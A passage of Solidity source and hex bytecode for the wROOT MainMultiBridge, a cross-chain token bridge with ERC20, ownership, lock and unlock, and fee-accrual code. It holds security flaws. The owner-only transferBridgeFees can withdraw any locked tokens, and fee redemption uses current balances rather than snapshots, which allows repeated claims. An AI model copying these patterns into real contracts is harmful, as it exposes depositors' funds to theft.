*/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Controller is Ownable { mapping(address => bool) operator; modifier onlyOperator() { require(operator[msg.sender], "Only-operator"); _; } constructor() public { operator[msg.sender] = true; } function setOperator(address _operator, bool _whiteList) public onlyOwner { operator[_operator] = _whiteList; } } /** * wROOT MultiBridge * * Attributes: * - Stores cross-chain transfers until they are processed * - Supports the tracking of cross-chain transfers via hash-based IDs * - Ensures users fund the necessary gas cost for the migrations based on a flag */ abstract contract MultiBridge is Controller { using SafeERC20 for ERC20; using SafeMath for uint256; using Address for address payable; mapping (uint256 => bool) public isSupportedChain; struct CrossChainTransfer { address to; bool processed; uint88 gasPrice; uint256 amount; uint256 chain; } // Numeric flag for processed inward transfers uint256 internal constant PROCESSED = type(uint256).max; // Gas Costs // - Process gas cost uint256 private constant PROCESS_COST = 65990; // - Unlock gas cost uint256 private immutable UNLOCK_COST; // Holding all pending cross chain transfer info // - ID of cross chain transfers uint256 internal crossChainTransfer; // - Enforce funding supply from users bool internal forceFunding = true; // - Outward transfer data mapping(uint256 => CrossChainTransfer) public outwardTransfers; // - Inward gas price funding, used as a flag for processed txs via `PROCESSED` mapping(bytes32 => uint256) public inwardTransferFunding; event CrossChainTransferLocked(address indexed from, uint256 i); event CrossChainTransferProcessed( address indexed to, uint256 amount, uint256 chain ); event CrossChainUnlockFundsReceived( address indexed to, uint256 amount, uint256 chain, uint256 orderId ); event CrossChainTransferUnlocked( address indexed to, uint256 amount, uint256 chain ); modifier validChain(uint256 chain) { _validChain(chain); _; } modifier validFunding() { _validFunding(); _; } constructor(uint256 unlockCost, uint256[] memory chainList) public Controller() { UNLOCK_COST = unlockCost; for (uint i = 0; i < chainList.length; i++) { isSupportedChain[chainList[i]] = true; } } function setForceFunding(bool _forceFunding) external onlyOwner() { forceFunding = _forceFunding; } function whiteListChain(uint256 _chainId, bool _whiteList) external onlyOwner() { isSupportedChain[_chainId] = _whiteList; } function process(uint256 i) external onlyOperator() { CrossChainTransfer memory cct = outwardTransfers[i]; outwardTransfers[i].processed = true; if (forceFunding) msg.sender.sendValue(cct.gasPrice * PROCESS_COST); emit CrossChainTransferProcessed(cct.to, cct.amount, cct.chain); } function fundUnlock( uint256 satelliteChain, uint256 i, address to, uint256 amount ) external payable { uint256 funds = msg.value.div(UNLOCK_COST); require( funds != 0, "MultiBridge::fundUnlock: Incorrect amount of funds supplied" ); bytes32 h = keccak256(abi.encode(satelliteChain, i, to, amount)); require( inwardTransferFunding[h] != PROCESSED, "MultiBridge::fundUnlock: Transaction already unlocked" ); require( inwardTransferFunding[h] == 0, "MultiBridge::fundUnlock: Funding already provided" ); inwardTransferFunding[h] = funds; emit CrossChainUnlockFundsReceived(to, amount, satelliteChain, i); } function _validChain(uint256 chain) private view { require( isSupportedChain[chain], "MultiBridge::lock: Invalid chain specified" ); } function _validFunding() private view { // Ensure sufficient funds accompany deposit to fund migration require( !forceFunding || tx.gasprice.mul(PROCESS_COST) <= msg.value, "MultiBridge::lock: Insufficient funds provided to fund migration" ); } function checkTxProcessed( uint256 satelliteChain, uint256 i, address to, uint256 amount ) external view returns (bool) { return inwardTransferFunding[ keccak256(abi.encode(satelliteChain, i, to, amount)) ] == PROCESSED; } function lock( address to, uint256 amount, uint256 chain ) external payable virtual; function unlock( uint256 satelliteChain, uint256 i, address to, uint256 amount ) external virtual; function safe88(uint256 n, string memory errorMessage) internal pure returns (uint88) { require(n < 2**88, errorMessage); return uint88(n); } } // Code Based on Compound's Comp.sol: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol contract ERC20MintSnapshot is ERC20 { /// @notice A checkpoint for marking number of mints from a given block struct Checkpoint { uint32 fromBlock; uint224 mints; } /// @notice A record of mint checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; // Address to signify snapshotted total mint amount address private constant TOTAL_MINT = address(0); constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} /** * @notice Determine the prior amount of mints for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the mint balance at * @return The amount of mints the account had as of the given block */ function getPriorMints(address account, uint256 blockNumber) public view returns (uint224) { require( blockNumber < block.number, "ERC20MintSnapshot::getPriorMints: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].mints; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.mints; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].mints; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { uint224 value = safe224( amount, "ERC20MintSnapshot::_beforeTokenTransfer: Amount minted exceeds limit" ); if (from == address(0) && value > 0) { uint32 totalMintNum = numCheckpoints[TOTAL_MINT]; uint224 totalMintOld = totalMintNum > 0 ? checkpoints[TOTAL_MINT][totalMintNum - 1].mints : 0; uint224 totalMintNew = add224( totalMintOld, value, "ERC20MintSnapshot::_beforeTokenTransfer: mint amount overflows" ); _writeCheckpoint(TOTAL_MINT, totalMintNum, totalMintNew); uint32 minterNum = numCheckpoints[to]; uint224 minterOld = minterNum > 0 ? checkpoints[to][minterNum - 1].mints : 0; uint224 minterNew = add224( minterOld, value, "ERC20MintSnapshot::_beforeTokenTransfer: mint amount overflows" ); _writeCheckpoint(to, minterNum, minterNew); } } function _writeCheckpoint( address minter, uint32 nCheckpoints, uint224 newMints ) internal { uint32 blockNumber = safe32( block.number, "ERC20MintSnapshot::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[minter][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[minter][nCheckpoints - 1].mints = newMints; } else { checkpoints[minter][nCheckpoints] = Checkpoint( blockNumber, newMints ); numCheckpoints[minter] = nCheckpoints + 1; } } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function add224( uint224 a, uint224 b, string memory errorMessage ) internal pure returns (uint224) { uint224 c = a + b; require(c >= a, errorMessage); return c; } } contract FeeAccrual { using SafeMath for uint256; using SafeERC20 for ERC20MintSnapshot; Fees[] internal accruedFees; struct Fees { uint32 blockNumber; uint224 amount; mapping(address => bool) claimed; } // Token to pay out fees in and query about proportions ERC20MintSnapshot internal immutable wROOT; // Address to signify snapshotted total mint amount address private constant TOTAL_MINT = address(0); event CrossChainFeesClaimed(address indexed beneficiary, uint256 amount); constructor(ERC20MintSnapshot wroot) internal { wROOT = wroot; } function totalAvailableRedemption() external view returns (uint256 total) { for (uint256 i = 0; i < accruedFees.length; i++) total = total.add(availableRedemption(i)); } function availableRedemption(uint256 num) public view returns (uint256) { Fees memory fees = accruedFees[num]; if (accruedFees[num].claimed[msg.sender]) return 0; // uint256 userMints = // uint256(wROOT.getPriorMints(msg.sender, fees.blockNumber)); // uint256 totalMints = // uint256(wROOT.getPriorMints(TOTAL_MINT, fees.blockNumber)); uint256 amount = uint256(fees.amount); // redeem bridge fees based on total supply owned uint256 userMints = uint256(wROOT.balanceOf(msg.sender)); uint256 totalMints = uint256(wROOT.totalSupply()); return amount.mul(userMints).div(totalMints); } function redeemAll() external { uint256 availableFees = 0; for (uint256 i = 0; i < accruedFees.length; i++) { uint256 available = availableRedemption(i); if (available > 0) { availableFees = availableFees.add(available); accruedFees[i].claimed[msg.sender] = true; } } require(availableFees > 0, "FeeAccrual::redeem: No fees are claimable"); wROOT.safeTransfer(msg.sender, availableFees); emit CrossChainFeesClaimed(msg.sender, availableFees); } function redeem(uint256 num) external { uint256 availableFees = availableRedemption(num); require( availableFees != 0, "FeeAccrual::redeem: No fees are claimable" ); accruedFees[num].claimed[msg.sender] = true; wROOT.safeTransfer(msg.sender, availableFees); emit CrossChainFeesClaimed(msg.sender, availableFees); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } } /** * wROOT MainMultiBridge * * Attributes: * - Locks wROOT tokens and supplies * - Unlocks wROOT tokens from an authorized member after a cross-chain migration * - Powered by Prismnetwork.io */ contract MainMultiBridge is MultiBridge, FeeAccrual { using SafeERC20 for ERC20MintSnapshot; // Gas Units Required for an `unlock` uint256 private constant MAIN_UNLOCK_COST = 81574; event CrossChainFeeAccrual(uint256 amount); constructor(ERC20MintSnapshot wroot, uint256[] memory chainList) public MultiBridge(MAIN_UNLOCK_COST, chainList) FeeAccrual(wroot) {} function lock( address to, uint256 amount, uint256 chain ) external payable override validFunding() validChain(chain) { // Zero Security Assumptions uint256 lockAmount = wROOT.balanceOf(address(this)); wROOT.safeTransferFrom(msg.sender, address(this), amount); lockAmount = wROOT.balanceOf(address(this)).sub(lockAmount); uint256 id = crossChainTransfer++; outwardTransfers[id] = CrossChainTransfer( to, false, safe88( tx.gasprice, "Multibridge::lock: tx gas price exceeds 32 bits" ), amount, chain ); // Optionally captured by off-chain migrator emit CrossChainTransferLocked(msg.sender, id); } function unlock( uint256 satelliteChain, uint256 i, address to, uint256 amount ) external override onlyOperator() { bytes32 h = keccak256(abi.encode(satelliteChain, i, to, amount)); uint256 refundGasPrice = inwardTransferFunding[h]; if (refundGasPrice == PROCESSED) return; inwardTransferFunding[h] = PROCESSED; wROOT.safeTransfer(to, amount); if (refundGasPrice != 0) msg.sender.sendValue(refundGasPrice * MAIN_UNLOCK_COST); emit CrossChainTransferUnlocked(to, amount, satelliteChain); } // Fee handling function accrueFees(uint224 amount) external onlyOwner() { accruedFees.push( Fees( safe32( block.number, "Multibridge::accrueFees: block number exceeds 32 bits" ), amount ) ); emit CrossChainFeeAccrual(amount); } function transferBridgeFees(uint256 amount) external onlyOwner() { wROOT.safeTransfer(msg.sender, amount); } }
0x60806040526004361061011f5760003560e01c8063558a7297116100a0578063db006a7511610064578063db006a7514610414578063e2ab691d1461043e578063e886ff8414610470578063f2fde38b146104b5578063ffb2c479146104e85761011f565b8063558a72971461032e578063715018a614610369578063741bb6e71461037e5780638da5cb5b146103b05780638ef0526a146103e15761011f565b80632232f751116100e75780632232f7511461024d5780632f4350c21461027757806341d228f71461028c5780635153d467146102b857806351c29b41146102f65761011f565b80630e3af374146101245780630ed16339146101605780631782e35b146101c75780631ae77a22146101dc5780631c3cc02514610208575b600080fd5b34801561013057600080fd5b5061014e6004803603602081101561014757600080fd5b5035610512565b60408051918252519081900360200190f35b34801561016c57600080fd5b5061018a6004803603602081101561018357600080fd5b5035610524565b604080516001600160a01b03909616865293151560208601526001600160581b039092168484015260608401526080830152519081900360a00190f35b3480156101d357600080fd5b5061014e610569565b3480156101e857600080fd5b50610206600480360360208110156101ff57600080fd5b5035610598565b005b34801561021457600080fd5b506102066004803603608081101561022b57600080fd5b508035906020810135906001600160a01b036040820135169060600135610631565b34801561025957600080fd5b5061014e6004803603602081101561027057600080fd5b503561078f565b34801561028357600080fd5b50610206610980565b34801561029857600080fd5b50610206600480360360208110156102af57600080fd5b50351515610aa1565b3480156102c457600080fd5b506102e2600480360360208110156102db57600080fd5b5035610b16565b604080519115158252519081900360200190f35b6102066004803603608081101561030c57600080fd5b508035906020810135906001600160a01b036040820135169060600135610b2b565b34801561033a57600080fd5b506102066004803603604081101561035157600080fd5b506001600160a01b0381351690602001351515610cd7565b34801561037557600080fd5b50610206610d64565b34801561038a57600080fd5b50610206600480360360408110156103a157600080fd5b50803590602001351515610e10565b3480156103bc57600080fd5b506103c5610e92565b604080516001600160a01b039092168252519081900360200190f35b3480156103ed57600080fd5b506102066004803603602081101561040457600080fd5b50356001600160e01b0316610ea1565b34801561042057600080fd5b506102066004803603602081101561043757600080fd5b5035610fc8565b6102066004803603606081101561045457600080fd5b506001600160a01b0381351690602081013590604001356110be565b34801561047c57600080fd5b506102e26004803603608081101561049357600080fd5b508035906020810135906001600160a01b03604082013516906060013561136f565b3480156104c157600080fd5b50610206600480360360208110156104d857600080fd5b50356001600160a01b03166113ca565b3480156104f457600080fd5b506102066004803603602081101561050b57600080fd5b50356114cc565b60066020526000908152604090205481565b6005602052600090815260409020805460018201546002909201546001600160a01b03821692600160a01b830460ff1692600160a81b90046001600160581b03169185565b6000805b6007548110156105945761058a6105838261078f565b8390611624565b915060010161056d565b5090565b6105a0611687565b6001600160a01b03166105b1610e92565b6001600160a01b0316146105fa576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b61062e6001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16338361168b565b50565b3360009081526001602052604090205460ff16610685576040805162461bcd60e51b815260206004820152600d60248201526c27b7363c96b7b832b930ba37b960991b604482015290519081900360640190fd5b6040805160208082018790528183018690526001600160a01b038516606083015260808083018590528351808403909101815260a0909201835281519181019190912060008181526006909252919020546000198114156106e7575050610789565b6000828152600660205260409020600019905561072e6001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16858561168b565b8015610743576107433362013ea683026116e2565b604080518481526020810188905281516001600160a01b038716927fd5a3e9f9700ecd9cabe430626008229653621fa5d5c23972da71b17160fed1bd928290030190a250505b50505050565b6000610799611d68565b600783815481106107a657fe5b6000918252602091829020604080518082019091526002909202015463ffffffff811682526001600160e01b0364010000000090910416918101919091526007805491925090849081106107f657fe5b600091825260208083203384526001600290930201919091019052604090205460ff161561082857600091505061097b565b602080820151604080516370a0823160e01b815233600482015290516001600160e01b03909216926000926001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16926370a08231926024808301939192829003018186803b1580156108a057600080fd5b505afa1580156108b4573d6000803e3d6000fd5b505050506040513d60208110156108ca57600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16916318160ddd916004808301926020929190829003018186803b15801561093257600080fd5b505afa158015610946573d6000803e3d6000fd5b505050506040513d602081101561095c57600080fd5b505190506109748161096e85856117c7565b90611820565b9450505050505b919050565b6000805b6007548110156109f45760006109998261078f565b905080156109eb576109ab8382611624565b92506001600783815481106109bc57fe5b60009182526020808320338452600292909202909101600101905260409020805460ff19169115159190911790555b50600101610984565b5060008111610a345760405162461bcd60e51b8152600401808060200182810382526029815260200180611ece6029913960400191505060405180910390fd5b610a686001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16338361168b565b60408051828152905133917fe7aca168b7cdb9ad70dc64d9daeca50e66d8ff1667910078d5340f4d624d6e71919081900360200190a250565b610aa9611687565b6001600160a01b0316610aba610e92565b6001600160a01b031614610b03576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b6004805460ff1916911515919091179055565b60026020526000908152604090205460ff1681565b6000610b57347f0000000000000000000000000000000000000000000000000000000000013ea6611820565b905080610b955760405162461bcd60e51b815260040180806020018281038252603b815260200180611dd8603b913960400191505060405180910390fd5b6040805160208082018890528183018790526001600160a01b038616606083015260808083018690528351808403909101815260a0909201835281519181019190912060008181526006909252919020546000191415610c265760405162461bcd60e51b8152600401808060200182810382526035815260200180611fd86035913960400191505060405180910390fd5b60008181526006602052604090205415610c715760405162461bcd60e51b8152600401808060200182810382526031815260200180611f386031913960400191505060405180910390fd5b600081815260066020908152604091829020849055815185815290810188905280820187905290516001600160a01b038616917f0e3d8db210da558c0c8c57cd7c249e7f33af0e0189b0d53361bb365ae338f9a9919081900360600190a2505050505050565b610cdf611687565b6001600160a01b0316610cf0610e92565b6001600160a01b031614610d39576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b610d6c611687565b6001600160a01b0316610d7d610e92565b6001600160a01b031614610dc6576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610e18611687565b6001600160a01b0316610e29610e92565b6001600160a01b031614610e72576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b600091825260026020526040909120805460ff1916911515919091179055565b6000546001600160a01b031690565b610ea9611687565b6001600160a01b0316610eba610e92565b6001600160a01b031614610f03576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b60076040518060400160405280610f3243604051806060016040528060358152602001611e9960359139611887565b63ffffffff90811682526001600160e01b038086166020938401819052855460018101875560009687529584902085516002909702018054958501519092166401000000000295831663ffffffff19909516949094179091169390931790925560408051918252517f05ec2eb90552461452cd2449bc267ea1dfa4407e8960f98da15ced4b86066a26929181900390910190a150565b6000610fd38261078f565b9050806110115760405162461bcd60e51b8152600401808060200182810382526029815260200180611ece6029913960400191505060405180910390fd5b60016007838154811061102057fe5b60009182526020808320338085526002939093020160010190526040909120805460ff191692151592909217909155611084906001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e16908361168b565b60408051828152905133917fe7aca168b7cdb9ad70dc64d9daeca50e66d8ff1667910078d5340f4d624d6e71919081900360200190a25050565b6110c6611922565b806110d08161197d565b60007f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561113f57600080fd5b505afa158015611153573d6000803e3d6000fd5b505050506040513d602081101561116957600080fd5b505190506111a26001600160a01b037f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e163330876119ca565b611245817f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561121357600080fd5b505afa158015611227573d6000803e3d6000fd5b505050506040513d602081101561123d57600080fd5b505190611a24565b90506000600360008154809291906001019190505590506040518060a00160405280876001600160a01b031681526020016000151581526020016112a13a6040518060600160405280602f8152602001611fa9602f9139611a81565b6001600160581b03908116825260208083018990526040928301889052600085815260058252839020845181548684015187870151909516600160a81b026001600160a81b03951515600160a01b0260ff60a01b196001600160a01b039094166001600160a01b031990931692909217929092161793909316929092178255606084015160018301556080909301516002909101558051838152905133927f6cc803c3e9c29fa1bc336c0799c463deaf16e1c89dac5f6364971c21c0cd693c928290030190a2505050505050565b6040805160208082018790528183018690526001600160a01b038516606083015260808083018590528351808403909101815260a0909201835281519181019190912060009081526006909152205460001914949350505050565b6113d2611687565b6001600160a01b03166113e3610e92565b6001600160a01b03161461142c576040805162461bcd60e51b81526020600482018190526024820152600080516020611f18833981519152604482015290519081900360640190fd5b6001600160a01b0381166114715760405162461bcd60e51b8152600401808060200182810382526026815260200180611e136026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526001602052604090205460ff16611520576040805162461bcd60e51b815260206004820152600d60248201526c27b7363c96b7b832b930ba37b960991b604482015290519081900360640190fd5b611528611d7f565b506000818152600560208181526040808420815160a08101835281546001600160a01b038116825260ff600160a01b80830482161515848801526001600160581b03600160a81b840416958401959095526001840154606084015260028401546080840152968890529490935260ff60a01b1990931617909155600454909116156115cb5760408101516115cb9033906001600160581b0316620101c6026116e2565b80600001516001600160a01b03167fdfd519367f5fd2d6e6b7fad3a1d4adabcfc603db84263569e451060887ca41bb82606001518360800151604051808381526020018281526020019250505060405180910390a25050565b60008282018381101561167e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116dd908490611ad6565b505050565b80471015611737576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015290519081900360640190fd5b6040516000906001600160a01b0384169083908381818185875af1925050503d8060008114611782576040519150601f19603f3d011682016040523d82523d6000602084013e611787565b606091505b50509050806116dd5760405162461bcd60e51b815260040180806020018281038252603a815260200180611e39603a913960400191505060405180910390fd5b6000826117d657506000611681565b828202828482816117e357fe5b041461167e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ef76021913960400191505060405180910390fd5b6000808211611876576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161187f57fe5b049392505050565b600081640100000000841061191a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118df5781810151838201526020016118c7565b50505050905090810190601f16801561190c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509192915050565b60045460ff16158061194057503461193d3a620101c66117c7565b11155b61197b5760405162461bcd60e51b8152600401808060200182810382526040815260200180611f696040913960400191505060405180910390fd5b565b60008181526002602052604090205460ff1661062e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611dae602a913960400191505060405180910390fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610789908590611ad6565b600082821115611a7b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081600160581b841061191a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156118df5781810151838201526020016118c7565b6060611b2b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611b879092919063ffffffff16565b8051909150156116dd57808060200190516020811015611b4a57600080fd5b50516116dd5760405162461bcd60e51b815260040180806020018281038252602a81526020018061200d602a913960400191505060405180910390fd5b6060611b968484600085611ba0565b90505b9392505050565b606082471015611be15760405162461bcd60e51b8152600401808060200182810382526026815260200180611e736026913960400191505060405180910390fd5b611bea85611cfc565b611c3b576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611c7a5780518252601f199092019160209182019101611c5b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611cdc576040519150601f19603f3d011682016040523d82523d6000602084013e611ce1565b606091505b5091509150611cf1828286611d02565b979650505050505050565b3b151590565b60608315611d11575081611b99565b825115611d215782518084602001fd5b60405162461bcd60e51b81526020600482018181528451602484015284518593919283926044019190850190808383600083156118df5781810151838201526020016118c7565b604080518082019091526000808252602082015290565b6040805160a0810